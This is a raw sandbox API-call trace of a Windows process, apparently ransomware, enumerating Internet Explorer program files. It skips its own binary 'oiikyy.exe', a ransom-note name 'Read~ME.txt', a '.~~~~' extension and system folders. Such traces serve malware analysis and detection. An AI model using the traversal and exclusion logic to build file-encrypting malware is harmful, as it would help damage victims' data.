	[0082.449] GetCurrentThreadId () returned 0x618
	[0082.449] RtlWakeConditionVariable () returned 0x365f48
	[0082.449] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 0
	[0082.449] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0082.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0082.450] GetCurrentThreadId () returned 0x618
	[0082.450] RtlWakeConditionVariable () returned 0x365f48
	[0082.450] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1
	[0082.450] lstrcmpiW (lpString1="hmmapi.dll", lpString2="Windows") returned -1
	[0082.450] lstrcmpW (lpString1="hmmapi.dll", lpString2="oiikyy.exe") returned -1
	[0082.450] StrStrW (lpFirst="hmmapi.dll", lpSrch=".~~~~") returned 0x0
	[0082.450] lstrcmpW (lpString1="hmmapi.dll", lpString2="Read~ME.txt") returned -1
	[0082.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0082.450] GetCurrentThreadId () returned 0x618
	[0082.450] RtlWakeConditionVariable () returned 0x365f48
	[0082.450] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9a30bbb, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0xb9a30bbb, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0xb9a30bbb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1
	[0082.450] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="Windows") returned -1
	[0082.450] lstrcmpW (lpString1="ie8props.propdesc", lpString2="oiikyy.exe") returned -1
	[0082.450] StrStrW (lpFirst="ie8props.propdesc", lpSrch=".~~~~") returned 0x0
	[0082.450] lstrcmpW (lpString1="ie8props.propdesc", lpString2="Read~ME.txt") returned -1
	[0082.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0082.450] GetCurrentThreadId () returned 0x618
	[0082.450] RtlWakeConditionVariable () returned 0x365f48
	[0082.451] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37b6f98, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecompat.dll", cAlternateFileName="")) returned 1
	[0082.451] lstrcmpiW (lpString1="iecompat.dll", lpString2="Windows") returned -1
	[0082.451] lstrcmpW (lpString1="iecompat.dll", lpString2="oiikyy.exe") returned -1
	[0082.451] StrStrW (lpFirst="iecompat.dll", lpSrch=".~~~~") returned 0x0
	[0082.451] lstrcmpW (lpString1="iecompat.dll", lpString2="Read~ME.txt") returned -1
	[0082.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0082.451] GetCurrentThreadId () returned 0x618
	[0082.451] RtlWakeConditionVariable () returned 0x365f48
	[0082.451] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37dd0f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll", cAlternateFileName="")) returned 1
	[0082.451] lstrcmpiW (lpString1="iedvtool.dll", lpString2="Windows") returned -1
	[0082.451] lstrcmpW (lpString1="iedvtool.dll", lpString2="oiikyy.exe") returned -1
	[0082.451] StrStrW (lpFirst="iedvtool.dll", lpSrch=".~~~~") returned 0x0
	[0082.451] lstrcmpW (lpString1="iedvtool.dll", lpString2="Read~ME.txt") returned -1
	[0082.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0082.451] GetCurrentThreadId () returned 0x618
	[0082.451] RtlWakeConditionVariable () returned 0x365f48
	[0082.451] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1
	[0082.451] lstrcmpiW (lpString1="ieinstal.exe", lpString2="Windows") returned -1
	[0082.451] lstrcmpW (lpString1="ieinstal.exe", lpString2="oiikyy.exe") returned -1
	[0082.451] StrStrW (lpFirst="ieinstal.exe", lpSrch=".~~~~") returned 0x0
	[0082.451] lstrcmpW (lpString1="ieinstal.exe", lpString2="Read~ME.txt") returned -1
	[0082.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0082.451] GetCurrentThreadId () returned 0x618
	[0082.451] RtlWakeConditionVariable () returned 0x365f48
	[0082.452] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdecd4578, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xdecd4578, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3cb04e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1
	[0082.452] lstrcmpiW (lpString1="ielowutil.exe", lpString2="Windows") returned -1
	[0082.452] lstrcmpW (lpString1="ielowutil.exe", lpString2="oiikyy.exe") returned -1
	[0082.452] StrStrW (lpFirst="ielowutil.exe", lpSrch=".~~~~") returned 0x0
	[0082.452] lstrcmpW (lpString1="ielowutil.exe", lpString2="Read~ME.txt") returned -1
	[0082.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0082.452] GetCurrentThreadId () returned 0x618
	[0082.452] RtlWakeConditionVariable () returned 0x365f48
	[0082.452] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3803259, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3803259, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3803259, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieproxy.dll", cAlternateFileName="")) returned 1
	[0082.452] lstrcmpiW (lpString1="ieproxy.dll", lpString2="Windows") returned -1
	[0082.452] lstrcmpW (lpString1="ieproxy.dll", lpString2="oiikyy.exe") returned -1
	[0082.452] StrStrW (lpFirst="ieproxy.dll", lpSrch=".~~~~") returned 0x0
	[0082.452] lstrcmpW (lpString1="ieproxy.dll", lpString2="Read~ME.txt") returned -1
	[0082.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0082.452] GetCurrentThreadId () returned 0x618
	[0082.452] RtlWakeConditionVariable () returned 0x365f48
	[0082.452] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1
	[0082.452] lstrcmpiW (lpString1="IEShims.dll", lpString2="Windows") returned -1
	[0082.452] lstrcmpW (lpString1="IEShims.dll", lpString2="oiikyy.exe") returned -1
	[0082.452] StrStrW (lpFirst="IEShims.dll", lpSrch=".~~~~") returned 0x0
	[0082.452] lstrcmpW (lpString1="IEShims.dll", lpString2="Read~ME.txt") returned -1
	[0082.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0082.452] GetCurrentThreadId () returned 0x618
	[0082.453] RtlWakeConditionVariable () returned 0x365f48
	[0082.453] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa387567a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa387567a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa387567a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1
	[0082.453] lstrcmpiW (lpString1="iexplore.exe", lpString2="Windows") returned -1
	[0082.453] lstrcmpW (lpString1="iexplore.exe", lpString2="oiikyy.exe") returned -1
	[0082.453] StrStrW (lpFirst="iexplore.exe", lpSrch=".~~~~") returned 0x0
	[0082.453] lstrcmpW (lpString1="iexplore.exe", lpString2="Read~ME.txt") returned -1
	[0082.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0082.453] GetCurrentThreadId () returned 0x618
	[0082.453] RtlWakeConditionVariable () returned 0x365f48
	[0082.453] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3686496, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3686496, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll", cAlternateFileName="")) returned 1
	[0082.453] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="Windows") returned -1
	[0082.453] lstrcmpW (lpString1="jsdbgui.dll", lpString2="oiikyy.exe") returned -1
	[0082.453] StrStrW (lpFirst="jsdbgui.dll", lpSrch=".~~~~") returned 0x0
	[0082.453] lstrcmpW (lpString1="jsdbgui.dll", lpString2="Read~ME.txt") returned -1
	[0082.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0082.453] GetCurrentThreadId () returned 0x618
	[0082.453] RtlWakeConditionVariable () returned 0x365f48
	[0082.453] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe54abd0a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe54abd0a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b495380, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x23600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll", cAlternateFileName="")) returned 1
	[0082.453] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="Windows") returned -1
	[0082.453] lstrcmpW (lpString1="jsdebuggeride.dll", lpString2="oiikyy.exe") returned -1
	[0082.453] StrStrW (lpFirst="jsdebuggeride.dll", lpSrch=".~~~~") returned 0x0
	[0082.453] lstrcmpW (lpString1="jsdebuggeride.dll", lpString2="Read~ME.txt") returned -1
	[0082.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0082.454] GetCurrentThreadId () returned 0x618
	[0082.454] RtlWakeConditionVariable () returned 0x365f48
	[0082.454] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe41a0e8a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe41a0e8a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b4b9d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll", cAlternateFileName="")) returned 1
	[0082.454] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="Windows") returned -1
	[0082.454] lstrcmpW (lpString1="JSProfilerCore.dll", lpString2="oiikyy.exe") returned -1
	[0082.454] StrStrW (lpFirst="JSProfilerCore.dll", lpSrch=".~~~~") returned 0x0
	[0082.454] lstrcmpW (lpString1="JSProfilerCore.dll", lpString2="Read~ME.txt") returned -1
	[0082.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0082.454] GetCurrentThreadId () returned 0x618
	[0082.454] RtlWakeConditionVariable () returned 0x365f48
	[0082.454] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36ac5f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa36ac5f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll", cAlternateFileName="")) returned 1
	[0082.454] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="Windows") returned -1
	[0082.454] lstrcmpW (lpString1="jsprofilerui.dll", lpString2="oiikyy.exe") returned -1
	[0082.454] StrStrW (lpFirst="jsprofilerui.dll", lpSrch=".~~~~") returned 0x0
	[0082.454] lstrcmpW (lpString1="jsprofilerui.dll", lpString2="Read~ME.txt") returned -1
	[0082.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0082.454] GetCurrentThreadId () returned 0x618
	[0082.455] RtlWakeConditionVariable () returned 0x365f48
	[0082.455] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825d0f8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0x825d0f8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0x5909b005, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x579f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdbg2.dll", cAlternateFileName="")) returned 1
	[0082.455] lstrcmpiW (lpString1="msdbg2.dll", lpString2="Windows") returned -1
	[0082.455] lstrcmpW (lpString1="msdbg2.dll", lpString2="oiikyy.exe") returned -1
	[0082.455] StrStrW (lpFirst="msdbg2.dll", lpSrch=".~~~~") returned 0x0
	[0082.455] lstrcmpW (lpString1="msdbg2.dll", lpString2="Read~ME.txt") returned -1
	[0082.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0082.455] GetCurrentThreadId () returned 0x618
	[0082.455] RtlWakeConditionVariable () returned 0x365f48
	[0082.455] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x594eb7ab, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x594eb7ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x439e9300, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x83200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdm.dll", cAlternateFileName="")) returned 1
	[0082.455] lstrcmpiW (lpString1="pdm.dll", lpString2="Windows") returned -1
	[0082.455] lstrcmpW (lpString1="pdm.dll", lpString2="oiikyy.exe") returned 1
	[0082.455] StrStrW (lpFirst="pdm.dll", lpSrch=".~~~~") returned 0x0
	[0082.455] lstrcmpW (lpString1="pdm.dll", lpString2="Read~ME.txt") returned -1
	[0082.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x60) returned 0x27f2068
	[0082.455] GetCurrentThreadId () returned 0x618
	[0082.455] RtlWakeConditionVariable () returned 0x365f48
	[0082.455] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1
	[0082.455] lstrcmpiW (lpString1="SIGNUP", lpString2="Windows") returned -1
	[0082.455] lstrcmpW (lpString1="SIGNUP", lpString2=".") returned 1
	[0082.456] lstrcmpW (lpString1="SIGNUP", lpString2="..") returned 1
	[0082.456] lstrcmpW (lpString1="SIGNUP", lpString2="AppData") returned 1
	[0082.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP", lpSrch="AppData") returned 0x0
	[0082.456] lstrlenW (lpString="C:\\Windows") returned 10
	[0082.456] lstrcmpiW (lpString1="C:\\Program Files\\Internet Explorer\\SIGNUP", lpString2="C:\\Windows") returned -1
	[0082.456] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0082.456] lstrcmpiW (lpString1="C:\\Program Files\\Internet Explorer\\SIGNUP", lpString2="C:\\System Volume Information") returned -1
	[0082.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0082.456] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0082.456] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0082.456] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0082.456] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0082.456] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0082.456] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0082.456] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0082.457] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0082.457] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0082.457] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0082.457] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0082.457] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0082.457] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0082.457] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x2, cFileName="install.ins", cAlternateFileName="")) returned 1
	[0082.457] lstrcmpiW (lpString1="install.ins", lpString2="Windows") returned -1
	[0082.457] lstrcmpW (lpString1="install.ins", lpString2="oiikyy.exe") returned -1
	[0082.457] StrStrW (lpFirst="install.ins", lpSrch=".~~~~") returned 0x0
	[0082.457] lstrcmpW (lpString1="install.ins", lpString2="Read~ME.txt") returned -1
	[0082.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0082.457] GetCurrentThreadId () returned 0x618
	[0082.457] RtlWakeConditionVariable () returned 0x365f48
	[0082.457] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x2, cFileName="install.ins", cAlternateFileName="")) returned 0
	[0082.457] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0082.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0082.457] GetCurrentThreadId () returned 0x618
	[0082.457] RtlWakeConditionVariable () returned 0x365f48
	[0082.457] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0082.458] lstrcmpiW (lpString1="sqmapi.dll", lpString2="Windows") returned -1
	[0082.458] lstrcmpW (lpString1="sqmapi.dll", lpString2="oiikyy.exe") returned 1
	[0082.458] StrStrW (lpFirst="sqmapi.dll", lpSrch=".~~~~") returned 0x0
	[0082.458] lstrcmpW (lpString1="sqmapi.dll", lpString2="Read~ME.txt") returned 1
	[0082.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0082.458] GetCurrentThreadId () returned 0x618
	[0082.458] RtlWakeConditionVariable () returned 0x365f48
	[0082.458] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aa6ff10, ftCreationTime.dwHighDateTime=0x1d5c315, ftLastAccessTime.dwLowDateTime=0x5885fdf0, ftLastAccessTime.dwHighDateTime=0x1d5e39b, ftLastWriteTime.dwLowDateTime=0x5885fdf0, ftLastWriteTime.dwHighDateTime=0x1d5e39b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="utg2.exe", cAlternateFileName="")) returned 1
	[0082.458] lstrcmpiW (lpString1="utg2.exe", lpString2="Windows") returned -1
	[0082.458] lstrcmpW (lpString1="utg2.exe", lpString2="oiikyy.exe") returned 1
	[0082.458] StrStrW (lpFirst="utg2.exe", lpSrch=".~~~~") returned 0x0
	[0082.458] lstrcmpW (lpString1="utg2.exe", lpString2="Read~ME.txt") returned 1
	[0082.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x60) returned 0x27f2068
	[0082.458] GetCurrentThreadId () returned 0x618
	[0082.458] RtlWakeConditionVariable () returned 0x365f48
	[0082.458] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aa6ff10, ftCreationTime.dwHighDateTime=0x1d5c315, ftLastAccessTime.dwLowDateTime=0x5885fdf0, ftLastAccessTime.dwHighDateTime=0x1d5e39b, ftLastWriteTime.dwLowDateTime=0x5885fdf0, ftLastWriteTime.dwHighDateTime=0x1d5e39b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="utg2.exe", cAlternateFileName="")) returned 0
	[0082.458] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0082.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0082.458] GetCurrentThreadId () returned 0x618
	[0082.458] RtlWakeConditionVariable () returned 0x365f48
	[0082.458] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdc46ce60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc46ce60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1
	[0082.458] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="Windows") returned -1
	[0082.458] lstrcmpW (lpString1="Microsoft Analysis Services", lpString2=".") returned 1
	[0082.459] lstrcmpW (lpString1="Microsoft Analysis Services", lpString2="..") returned 1
	[0082.459] lstrcmpW (lpString1="Microsoft Analysis Services", lpString2="AppData") returned 1
